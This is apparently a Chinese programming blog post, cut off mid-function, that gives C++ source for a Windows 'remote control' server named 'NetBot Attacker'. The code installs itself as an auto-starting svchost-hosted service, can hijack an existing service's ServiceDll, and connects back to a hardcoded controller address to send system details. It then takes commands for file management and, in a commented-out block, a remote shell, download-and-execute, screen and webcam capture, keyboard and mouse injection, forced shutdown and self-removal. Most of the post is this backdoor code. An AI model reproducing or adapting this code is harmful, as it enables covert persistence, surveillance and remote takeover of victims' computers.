基于visual c++之windows核心编程代码分析（66）实现Windows服务的远程控制

最新推荐文章于 2019-02-12 09:59:16 发布
最新推荐文章于 2019-02-12 09:59:16 发布
阅读量4.8k 收藏 10
点赞数 1
分类专栏： VC++ 网络 远程控制 系统 文件操作

Windows服务之前已经进行了讲解，如何在安装Windows服务呢，作为远程控制的服务端。

安装Windows服务代码如下

[cpp] view plain copy print ?
  1. #include "stdafx.h" 
  2. //#include <windows.h> 
  3. #include "InstallService.h" 
  4. #include <winsvc.h> 
  5.  
  6. BOOL StartService(LPCTSTR lpService) 
  7. { 
  8.     SC_HANDLE        schSCManager; 
  9.     SC_HANDLE        schService; 
  10.     SERVICE_STATUS   ServiceStatus; 
  11.     DWORD            dwErrorCode; 
  12.  
  13.     schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库 
  14.     if (schSCManager!=NULL) 
  15.     { 
  16.         schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄 
  17.         if (schService!=NULL) 
  18.         { 
  19.             //设置服务为自动启动 
  20.             ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE, 
  21.                 NULL, NULL, NULL, NULL, NULL, NULL, NULL); 
  22.  
  23.             if(StartService(schService,0,NULL)==0)//已经存在该服务,就启动服务                         
  24.             { 
  25.                 dwErrorCode=GetLastError(); 
  26.                 if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING) 
  27.                 { 
  28.                     CloseServiceHandle(schSCManager);   
  29.                     CloseServiceHandle(schService); 
  30.                     return true; 
  31.                 } 
  32.             } 
  33.             while(QueryServiceStatus(schService,&ServiceStatus)!=0)            
  34.             { 
  35.                 if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING) 
  36.                 { 
  37.                     Sleep(100); 
  38.                 } 
  39.                 else 
  40.                 { 
  41.                     break; 
  42.                 } 
  43.             } 
  44.             CloseServiceHandle(schService); 
  45.         } 
  46.         CloseServiceHandle(schSCManager); 
  47.     } 
  48.     else 
  49.         return FALSE; 
  50.  
  51.     return TRUE; 
  52. } 
  53.  
  54. BOOL StopService(LPCTSTR lpService) 
  55. { 
  56.     SC_HANDLE        schSCManager; 
  57.     SC_HANDLE        schService; 
  58.     SERVICE_STATUS   RemoveServiceStatus; 
  59.  
  60.     schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库 
  61.     if (schSCManager!=NULL) 
  62.     { 
  63.         schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄 
  64.         if (schService!=NULL) 
  65.         { 
  66.             //设置服务为禁用 
  67.             ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE, 
  68.                 NULL, NULL, NULL, NULL, NULL, NULL, NULL); 
  69.  
  70.             if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0) 
  71.             { 
  72.                 if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)//停止服务 
  73.                 { 
  74.                     if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0) 
  75.                     { 
  76.                         while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)          
  77.                         { 
  78.                             Sleep(10); 
  79.                             QueryServiceStatus(schService,&RemoveServiceStatus); 
  80.                         } 
  81.                     } 
  82.                 } 
  83.             }     
  84.             CloseServiceHandle(schService); 
  85.         }    
  86.         ::CloseServiceHandle(schSCManager); 
  87.     } 
  88.     else  
  89.         return FALSE; 
  90.  
  91.     return TRUE; 
  92. } 
  93.  
  94. BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath) 
  95. { 
  96.     int rc = 0; 
  97.     HKEY hKey = 0; 
  98.     BOOL bRet = FALSE; 
  99.     char szOpenKey[MAX_PATH]; 
  100.  
  101.     try 
  102.     { 
  103.         //暂停服务 
  104.         StopService(lpService); 
  105.  
  106.         //修改dll指向 
  107.         ZeroMemory(szOpenKey,sizeof(szOpenKey)); 
  108.         wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService); 
  109.         rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey); 
  110.         if(ERROR_SUCCESS != rc) throw ""; 
  111.  
  112.         rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1); 
  113.         SetLastError(rc); 
  114.         if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)"; 
  115.          
  116.         //运行服务 
  117.         bRet = StartService(lpService); 
  118.     } 
  119.     catch(char *str) 
  120.     { 
  121.         if(str && str[0]) 
  122.         { 
  123.             rc = GetLastError(); 
  124.         } 
  125.     } 
  126.      
  127.     RegCloseKey(hKey); 
  128.  
  129.     return bRet; 
  130. } 
  131.  
  132. BOOL InstallSvchostService(LPCSTR strServiceName,  
  133.                            LPCSTR strDisplayName,  
  134.                            LPCSTR strDescription, 
  135.                            LPCSTR strDllPath) 
  136. { 
  137.     int rc = 0; 
  138.     HKEY hKey = 0; 
  139.     BOOL bRet = FALSE; 
  140.     char szOpenKey[MAX_PATH]; 
  141.     try 
  142.     { 
  143.       bRet = InstallService(strServiceName, 
  144.                      strDisplayName, 
  145.                      strDescription, 
  146.                      "%SystemRoot%\\System32\\svchost.exe -k krnlsrvc"); //安装服务 
  147.  
  148.         //修改dll指向 
  149.         ZeroMemory(szOpenKey,sizeof(szOpenKey)); 
  150.         wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName); 
  151.         //rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey); 
  152.         rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey);  
  153.         if(ERROR_SUCCESS != rc) throw ""; 
  154.  
  155.         rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1); 
  156.         SetLastError(rc); 
  157.         if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)"; 
  158.         RegCloseKey(hKey); 
  159.         //添加服务名到netsvcs组 
  160.         ZeroMemory(szOpenKey,sizeof(szOpenKey)); 
  161.         strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"); 
  162.         rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey); 
  163.         if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)"; 
  164.         rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1); 
  165.         SetLastError(rc); 
  166.         if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)"; 
  167.         RegCloseKey(hKey); 
  168.  
  169.         bRet = StartService(strServiceName); 
  170.     } 
  171.     catch(char *str) 
  172.     { 
  173.         if(str && str[0]) 
  174.         { 
  175.             rc = GetLastError(); 
  176.         } 
  177.     } 
  178.      
  179.     RegCloseKey(hKey); 
  180.  
  181.     return bRet; 
  182. } 
  183.  
  184. BOOL InstallService(LPCSTR strServiceName,  
  185.                     LPCSTR strDisplayName,  
  186.                     LPCSTR strDescription, 
  187.                     LPCSTR strPathName) 
  188. { 
  189.     BOOL bRet = FALSE; 
  190.     HKEY key=NULL; 
  191.     SC_HANDLE svc=NULL, scm=NULL; 
  192.     __try 
  193.     { 
  194.         scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS); 
  195.         if (!scm) 
  196.             __leave; 
  197.         svc = CreateService( 
  198.             scm,  
  199.             strServiceName,  
  200.             strDisplayName, 
  201.             SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS, 
  202.             SERVICE_WIN32_OWN_PROCESS, 
  203.             SERVICE_AUTO_START, 
  204.             SERVICE_ERROR_IGNORE, 
  205.             strPathName, 
  206.             NULL, NULL, NULL, NULL, NULL); 
  207.  
  208.         if (svc == NULL) 
  209.         { 
  210.             if (GetLastError() == ERROR_SERVICE_EXISTS) 
  211.             { 
  212.                 svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS); 
  213.                 if (svc==NULL) 
  214.                     __leave; 
  215.                 else 
  216.                     StartService(svc,0, 0); 
  217.             } 
  218.         } 
  219.  
  220.         char Desc[MAX_PATH]; 
  221.         wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName); 
  222.         RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key); 
  223.         RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription)); 
  224.  
  225.         if (!StartService(svc,0, 0)) 
  226.             __leave; 
  227.  
  228.         bRet = TRUE; 
  229.     } 
  230.     __finally 
  231.     { 
  232.         if (key!=NULL)  
  233.             RegCloseKey(key); 
  234.         if (svc!=NULL) 
  235.             CloseServiceHandle(svc); 
  236.         if (scm!=NULL) 
  237.             CloseServiceHandle(scm); 
  238.     } 
  239.  
  240.     return bRet; 
  241. } 
  242.  
  243. void UninstallService(LPCTSTR strServiceName) 
  244. { 
  245.     SC_HANDLE scm,svc; 
  246.  
  247.     scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 
  248.     if (scm!=NULL) 
  249.     { 
  250.         svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS); 
  251.         if (svc!=NULL) 
  252.         { 
  253.             ::DeleteService(svc); 
  254.             ::CloseServiceHandle(svc); 
  255.         } 
  256.         ::CloseServiceHandle(scm); 
  257.     } 
  258. }  
#include "stdafx.h"
//#include <windows.h>
#include "InstallService.h"
#include <winsvc.h>

BOOL StartService(LPCTSTR lpService)
{
	SC_HANDLE        schSCManager;
	SC_HANDLE        schService;
	SERVICE_STATUS   ServiceStatus;
	DWORD            dwErrorCode;

	schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
	if (schSCManager!=NULL)
	{
		schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
		if (schService!=NULL)
		{
			//设置服务为自动启动
			ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE,
				NULL, NULL, NULL, NULL, NULL, NULL, NULL);

			if(StartService(schService,0,NULL)==0)//已经存在该服务,就启动服务                        
			{
				dwErrorCode=GetLastError();
				if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
				{
					CloseServiceHandle(schSCManager);  
					CloseServiceHandle(schService);
					return true;
				}
			}
			while(QueryServiceStatus(schService,&ServiceStatus)!=0)           
			{
				if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING)
				{
					Sleep(100);
				}
				else
				{
					break;
				}
			}
			CloseServiceHandle(schService);
		}
		CloseServiceHandle(schSCManager);
	}
	else
		return FALSE;

	return TRUE;
}

BOOL StopService(LPCTSTR lpService)
{
	SC_HANDLE        schSCManager;
	SC_HANDLE        schService;
	SERVICE_STATUS   RemoveServiceStatus;

	schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
	if (schSCManager!=NULL)
	{
		schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
		if (schService!=NULL)
		{
			//设置服务为禁用
			ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
				NULL, NULL, NULL, NULL, NULL, NULL, NULL);

			if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
			{
				if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)//停止服务
				{
					if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
					{
						while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
						{
							Sleep(10);
							QueryServiceStatus(schService,&RemoveServiceStatus);
						}
					}
				}
			}    
			CloseServiceHandle(schService);
		}	
		::CloseServiceHandle(schSCManager);
	}
	else 
		return FALSE;

	return TRUE;
}

BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath)
{
	int rc = 0;
	HKEY hKey = 0;
	BOOL bRet = FALSE;
	char szOpenKey[MAX_PATH];

	try
	{
		//暂停服务
		StopService(lpService);

		//修改dll指向
		ZeroMemory(szOpenKey,sizeof(szOpenKey));
		wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService);
        rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
        if(ERROR_SUCCESS != rc) throw "";

        rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1);
        SetLastError(rc);
		if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
		
		//运行服务
		bRet = StartService(lpService);
	}
	catch(char *str)
	{
		if(str && str[0])
        {
            rc = GetLastError();
        }
	}
	
	RegCloseKey(hKey);

	return bRet;
}

BOOL InstallSvchostService(LPCSTR strServiceName, 
					       LPCSTR strDisplayName, 
					       LPCSTR strDescription,
					       LPCSTR strDllPath)
{
	int rc = 0;
	HKEY hKey = 0;
	BOOL bRet = FALSE;
	char szOpenKey[MAX_PATH];
	try
	{
      bRet = InstallService(strServiceName,
                     strDisplayName,
					 strDescription,
                     "%SystemRoot%\\System32\\svchost.exe -k krnlsrvc"); //安装服务

		//修改dll指向
		ZeroMemory(szOpenKey,sizeof(szOpenKey));
		wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName);
        //rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
		rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey); 
        if(ERROR_SUCCESS != rc) throw "";

        rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1);
        SetLastError(rc);
		if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
		RegCloseKey(hKey);
		//添加服务名到netsvcs组
		ZeroMemory(szOpenKey,sizeof(szOpenKey));
		strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
        rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
        if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)";
		rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1);
        SetLastError(rc);
        if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)";
		RegCloseKey(hKey);

		bRet = StartService(strServiceName);
	}
	catch(char *str)
	{
		if(str && str[0])
        {
            rc = GetLastError();
        }
	}
	
	RegCloseKey(hKey);

	return bRet;
}

BOOL InstallService(LPCSTR strServiceName, 
					LPCSTR strDisplayName, 
					LPCSTR strDescription,
					LPCSTR strPathName)
{
	BOOL bRet = FALSE;
	HKEY key=NULL;
	SC_HANDLE svc=NULL, scm=NULL;
	__try
	{
		scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
		if (!scm)
			__leave;
		svc = CreateService(
			scm, 
			strServiceName, 
			strDisplayName,
			SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,
			SERVICE_WIN32_OWN_PROCESS,
			SERVICE_AUTO_START,
			SERVICE_ERROR_IGNORE,
			strPathName,
			NULL, NULL, NULL, NULL, NULL);

		if (svc == NULL)
		{
			if (GetLastError() == ERROR_SERVICE_EXISTS)
			{
				svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS);
				if (svc==NULL)
					__leave;
				else
					StartService(svc,0, 0);
			}
		}

		char Desc[MAX_PATH];
		wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName);
		RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
		RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription));

		if (!StartService(svc,0, 0))
			__leave;

		bRet = TRUE;
	}
	__finally
	{
		if (key!=NULL) 
			RegCloseKey(key);
		if (svc!=NULL)
			CloseServiceHandle(svc);
		if (scm!=NULL)
			CloseServiceHandle(scm);
	}

	return bRet;
}

void UninstallService(LPCTSTR strServiceName)
{
	SC_HANDLE scm,svc;

	scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (scm!=NULL)
	{
		svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS);
		if (svc!=NULL)
		{
			::DeleteService(svc);
			::CloseServiceHandle(svc);
		}
		::CloseServiceHandle(scm);
	}
}

如何实现远程控制的一些列功能呢，键盘，鼠标远程协助，文件上传下载，视频截获，桌面视频截获等等。

请见代码与注释


[cpp] view plain copy print ?
  1. #include "stdafx.h" 
  2. #include "svchost.h" 
  3. #include <shlwapi.h> 
  4. #include "../Seu_lib/Functions.h" 
  5. #include "InstallService.h" 
  6. #include "../Seu_lib/zconf.h" 
  7. #include "../Seu_lib/zlib.h" 
  8. #pragma comment(lib,"../Seu_lib/zlib.lib")  //图象无损数据压缩使用zlib库函数 
  9. #pragma comment(lib,"shlwapi.lib") 
  10. #pragma comment(linker,"/IGNORE:4078") 
  11. #pragma comment(linker,"/OPT:NOWIN98") 
  12.  
  13. //#define NETBOT_TEST 
  14. / 
  15. struct MODIFY_DATA  
  16. { 
  17.     char  strIPFile[128];   //ip文件or DNS 
  18.     char  strVersion[16];   //服务端版本 
  19.     DWORD dwVipID;          //VIP ID 
  20.     BOOL  bReplace;         //TRUE-替换服务，FALSE-新建服务 
  21.     char  strSvrName[32];   //服务名称 
  22.     char  strSvrDisp[100];  //服务显示 
  23.     char  strSvrDesc[100];  //服务描述 
  24.     char  ServerAddr[100]; 
  25.     int   ServerPort;  
  26. }modify_data =  
  27. { 
  28.     "192.168.1.132:9000", 
  29.     "080625", 
  30.     62, 
  31.     FALSE, 
  32.     "NetBot", 
  33.     "NetBot Attacker", 
  34.     "NetBot Attacker", 
  35.     " ", 
  36.     8080, 
  37. }; 
  38.  
  39. HMODULE     g_hDllModule; 
  40.  
  41. unsigned long resolve(char *host) 
  42. { 
  43. long i; 
  44. struct hostent *he; 
  45.  
  46. if((i=inet_addr(host))<0) 
  47.    if((he=(struct hostent*)gethostbyname(host))==NULL)//if((he=(struct hostent*)Ggethostbyname(host))==NULL) 
  48.      return(0); 
  49.    else 
  50.      return(*(unsigned long *)he->h_addr); 
  51.  
  52. return(i); 
  53. } 
  54.  
  55. void GetIpAndPort() 
  56. { 
  57.     char html[256];                 //获取的网页 
  58.     char *point;                    //指针 
  59.     char port[12]; 
  60.      
  61.     memset(html,0,sizeof(html)); 
  62.  
  63.     if(strstr(modify_data.strIPFile,"http") == NULL)//不含HTTP，表示是IP/DNS上线 
  64.     { 
  65.         strcpy(html,"["); 
  66.         strcat(html,modify_data.strIPFile); 
  67.         strcat(html,"]"); 
  68.     } 
  69.     else 
  70.     { 
  71.         //获取网页内容 
  72.         for(;;) 
  73.         { 
  74.             lstrcpy(html,strlwr(GetHttpFile(modify_data.strIPFile))); 
  75.             if(strstr(html,"[")!=NULL) 
  76.                 break; 
  77.             else 
  78.                 Sleep(10000); 
  79.         } 
  80.     } 
  81.     //MessageBox(NULL,html,NULL,MB_OK); 
  82.     //分离客户端ip和端口 
  83.     point=html; 
  84.     if(strstr(html,"[")!=NULL) 
  85.     { 
  86.         point=point+strlen("["); 
  87.     } 
  88.     if(strstr(point,":")!=NULL) 
  89.     { 
  90.         memset(modify_data.ServerAddr,0,sizeof(modify_data.ServerAddr)); 
  91.         strncpy(modify_data.ServerAddr,point,strcspn(point,":")); 
  92.         point=point+strcspn(point,":")+1; 
  93.  
  94.         if(strstr(point,"]")!=NULL) 
  95.         { 
  96.             memset(port,0,sizeof(port)); 
  97.             strncpy(port,point,strcspn(point,"]")); 
  98.             modify_data.ServerPort = atoi(port); 
  99.         } 
  100.     } 
  101. } 
  102.  
  103. DWORD _stdcall RuningThread(LPVOID lParam) 
  104. { 
  105.     WSADATA lpWSAData; 
  106.     WSAStartup(MAKEWORD(2, 2), &lpWSAData);  
  107.  
  108.     while(1) 
  109.     { 
  110.         GetIpAndPort(); 
  111.  
  112.         HANDLE hThread = NULL; 
  113.         hThread = CreateThread(NULL,NULL,ConnectThread,NULL,NULL,NULL); 
  114.         WaitForSingleObject(hThread, INFINITE); 
  115.         CloseHandle(hThread); 
  116.          
  117.         Sleep(10000); 
  118.     } 
  119.  
  120.     WSACleanup(); 
  121.  
  122.     return 0; 
  123. } 
  124.  
  125. DWORD _stdcall ConnectThread(LPVOID lParam) 
  126. { 
  127.     struct sockaddr_in LocalAddr; 
  128.     LocalAddr.sin_family=AF_INET; 
  129.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  130.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  131.  
  132.     //连接的socket 
  133.     SOCKET MainSocket = socket(AF_INET, SOCK_STREAM, 0); 
  134.  
  135.     if(connect(MainSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  136.         return 0;//connect error 
  137.     else 
  138.         TurnonKeepAlive(MainSocket, 75); 
  139.      
  140.     SysInfo m_SysInfo; 
  141.     GetSystemInfo(m_SysInfo);//获取系统信息 
  142.     m_SysInfo.iVipID = modify_data.dwVipID; 
  143.     m_SysInfo.bVideo = CVideoCap::IsWebCam(); 
  144.     lstrcpy(m_SysInfo.cVersion, modify_data.strVersion); 
  145.     EncryptData((unsigned char *)&m_SysInfo, sizeof(SysInfo), modify_data.dwVipID);//用产品ID号加密 
  146.  
  147.     //send socket type 
  148.     MsgHead msgHead; 
  149.     char    chBuffer[4096]; 
  150.  
  151.     msgHead.dwCmd  = SOCKET_CONNECT;//填充消息 
  152.     msgHead.dwSize = sizeof(SysInfo);  
  153.  
  154.     memcpy(chBuffer,&m_SysInfo, sizeof(SysInfo));//填充被控端信息 
  155.      
  156.     if( !SendMsg(MainSocket, (char *)&m_SysInfo, &msgHead) ) 
  157.     { 
  158.         closesocket(MainSocket); 
  159.         return 1;//send socket type error 
  160.     } 
  161.  
  162.     while(1) 
  163.     { 
  164.         //接收命令 
  165.         if(! RecvMsg(MainSocket, (char *)chBuffer, &msgHead)) 
  166.         {//掉线，错误 
  167.             shutdown(MainSocket,0x02); 
  168.             closesocket(MainSocket); 
  169.             break; 
  170.         } 
  171.  
  172.         //解析命令 
  173.         switch(msgHead.dwCmd) 
  174.         { 
  175.  
  176.         case CMD_FILEMANAGE: 
  177.             { 
  178.                 CreateThread(NULL,NULL,FileManageThread,NULL,NULL,NULL);//开一个文件管理的线程 
  179.             } 
  180.             break; 
  181. /*      case CMD_SCREENSTART:
  182.             {
  183.                 //获取上线的socket==DWORD
  184.                 DWORD dwSock = msgHead.dwExtend1;
  185.                 CreateThread(NULL,NULL,ScreenThread,(LPVOID)dwSock,NULL,NULL);      //开一个屏幕传输的线程
  186.             }
  187.             break;
  188.         case CMD_PROCESSSTART:
  189.             {
  190.                 CreateThread(NULL,NULL,ProcessThread,NULL,NULL,NULL);    //开一个进程管理的线程
  191.             }
  192.             break;
  193.         case CMD_SHELLSTART:
  194.             {
  195.                 CreateThread(NULL,NULL,ShellThread,NULL,NULL,NULL);        //开一个远程Shell的线程
  196.             }
  197.             break;
  198.         case CMD_VIDEOSTART:
  199.             {
  200.                 CreateThread(NULL,NULL,VideoThread,NULL,NULL,NULL);        //开一个视频捕捉的线程
  201.             }
  202.             break;
  203.         case CMD_HEARTBEAT://心跳包
  204.             {
  205.                 //不处理这里，可以做计数，因为控制端基本也是定时发的
  206.             }
  207.             break;
  208.         case CMD_UNINSTALL://卸载
  209.             {
  210.                 shutdown(MainSocket,0x02);
  211.                 closesocket(MainSocket);           
  212.                 lstrcpy(modify_data.strIPFile,"");
  214.                 char szDllPath[MAX_PATH],szCmdLine[MAX_PATH];   
  215.                 GetModuleFileName(g_hDllModule,szDllPath,MAX_PATH);
  216.                 MoveFileEx(szDllPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
  217.                 wsprintf(szCmdLine, "Rundll32 %s,RundllUninstall", szDllPath);
  218.                 WinExec(szCmdLine, SW_HIDE);
  219.             }
  220.             break;
  221.         case CMD_POWEROFF://关机
  222.             {
  223.                 SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
  224.                 ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0);
  225.             }
  226.             break;
  227.         case CMD_REBOOT://重启
  228.             {
  229.                 SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
  230.                 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
  231.             }
  232.             break;
  233.         case CMD_LOGOFF://注销
  234.             {
  235.                 SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
  236.                 ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
  237.             }
  238.             break;
  239.         case CMD_DOWNEXEC://下载执行
  240.             {
  241.                 char strUrl[256];
  242.                 memset(strUrl, 0, 256);
  243.                 lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
  244.                 DownExec(strUrl);
  245.             }
  246.             break;
  247.         case CMD_OPENURL://打开网页
  248.             {
  249.                 char strUrl[256];
  250.                 memset(strUrl, 0, 256);
  251.                 lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
  252.                 OpenUrl(strUrl);
  253.             }
  254.             break;
  255.         case CMD_CTRLALTDEL:// Ctrl + Alt + del
  256.             {
  258.             }
  259.             break;
  260.         case CMD_KEYDOWN://WM_KEYDOWN
  261.             {
  262.                 XScreenXor OpenDesktop;
  263.                 int nVirtKey = msgHead.dwExtend1;
  264.                 keybd_event((BYTE)nVirtKey,0,0,0);
  265.             }
  266.             break;
  267.         case CMD_KEYUP://WM_KEYUP
  268.             {
  269.                 XScreenXor OpenDesktop;
  270.                 int nVirtKey = msgHead.dwExtend1;
  271.                 keybd_event((BYTE)nVirtKey,0,KEYEVENTF_KEYUP,0);
  272.             }
  273.             break;
  274.         case CMD_MOUSEMOVE://WM_MOUSEMOVE
  275.             {
  276.                 XScreenXor OpenDesktop;
  277.                 POINT pt;
  278.                 pt.x = msgHead.dwExtend1;
  279.                 pt.y = msgHead.dwExtend2;
  280.                 SetCursorPos(pt.x, pt.y);
  281.             }
  282.             break;
  283.         case CMD_LBUTTONDOWN://WM_LBUTTONDOWN
  284.             {
  285.                 XScreenXor OpenDesktop;
  286.                 mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
  287.             }
  288.             break;
  289.         case CMD_LBUTTONUP://WM_LBUTTONUP
  290.             {
  291.                 XScreenXor OpenDesktop;
  292.                 mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  293.             }
  294.             break;
  295.         case CMD_LBUTTONDBLCLK://WM_LBUTTONDBLCLK
  296.             {
  297.                 XScreenXor OpenDesktop;
  298.                 mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
  299.                 mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  300.                 mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
  301.                 mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  302.             }
  303.             break;
  304.         case CMD_RBUTTONDOWN://WM_RBUTTONDOWN 
  305.             {
  306.                 XScreenXor OpenDesktop;
  307.                 mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
  308.             }
  309.             break;
  310.         case CMD_RBUTTONUP://WM_RBUTTONUP
  311.             {
  312.                 XScreenXor OpenDesktop;
  313.                 mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
  314.             }
  315.             break;
  316.         case CMD_RBUTTONDBLCLK://WM_RBUTTONDBLCLK
  317.             {
  318.                 XScreenXor OpenDesktop;
  319.                 mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
  320.                 mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
  321.                 mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
  322.                 mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
  323.             }
  324.             break;
  325.     */ 
  326.         default: 
  327.             break; 
  328.         } 
  329.     } 
  330.  
  331.     return 10; 
  332. } 
  333.  
  334. // 
  335. //文件管理线程 
  336. DWORD _stdcall FileManageThread(LPVOID lParam) 
  337. { 
  338.      
  339.     struct sockaddr_in LocalAddr; 
  340.     LocalAddr.sin_family=AF_INET; 
  341.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  342.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  343.      
  344.     SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0); 
  345.     if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  346.     { 
  347.         closesocket(FileSocket); 
  348.         return 0;//connect error 
  349.     } 
  350.  
  351.     //================================================================================ 
  352.     MsgHead msgHead; 
  353.     char *chBuffer = new char[1536 * 1024]; //数据交换区 1.5MB 
  354.  
  355.     //send socket type  
